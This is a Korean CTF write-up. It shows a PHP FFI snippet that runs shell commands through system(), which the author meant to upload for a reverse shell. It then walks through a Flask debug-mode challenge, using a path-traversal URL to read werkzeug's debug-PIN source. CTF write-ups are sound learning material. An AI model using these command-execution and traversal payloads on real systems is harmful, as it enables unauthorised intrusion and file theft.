<?php
$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls -al');
?>
phpinfo로 ffi enable, file_uploads = on 체크하고, 여기까지 설계 다 해놓고 이걸 못푸네... 업로드하고 reverse shell 만 땄으면 되는뎅...
(First-Blood)
#!/usr/bin/python3
from flask import Flask
import os
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello !'
@app.route('/<path:file>')
def file(file):
return open(file).read()
app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)
문제 파일부터 살펴보자. flask의 debug 기능을 켜놓은것을 알 수 있다.
@app.route('/<path:file>')
def file(file):
return open(file).read()
아무리 봐도 이건 LFI가 너무나도 마렵다.
메인페이지의 home 버튼을 누르게 되면 이렇게 flask_debug_pin.html로 리다이렉션되면서 debug 창이열린다.
오류에 마우스를 올리면 콘솔 버튼이 있는데 이 버튼을 누르면 pin을 입력하라고 뜬다. 이 pin을 찾으면 되는것 같다.
/usr/local/lib/{python version}/site-packages/werkzeug/debug/__init__.py
flask는 이 pin을 생성하는 코드를 위 경로에 저장해 놓았다. python version이 3.8.11 이라고 했으니 python version이라고 써진 곳에다 python 3.8을 입력하고 lfi 취약점을 통해 저 파일을 읽어야겠다.
<http://ctf.kuality.kr:31004/..%2F..%2F..%2F..%2F..%2F../usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py>
lfi 취약점을 통해 init.py을 읽어, pin generate 부분을 분석했다.
이부분을 분석하면서 안 사실인데, 3.8.11은 다른 version 과는 달리 hashlib.md5()방식 암호화가아닌 hashlib.sha1() 암호화를 사용한다. 저 코드를 분석한후 필요한 부분만 가져와, pin generate code 를 만들었다.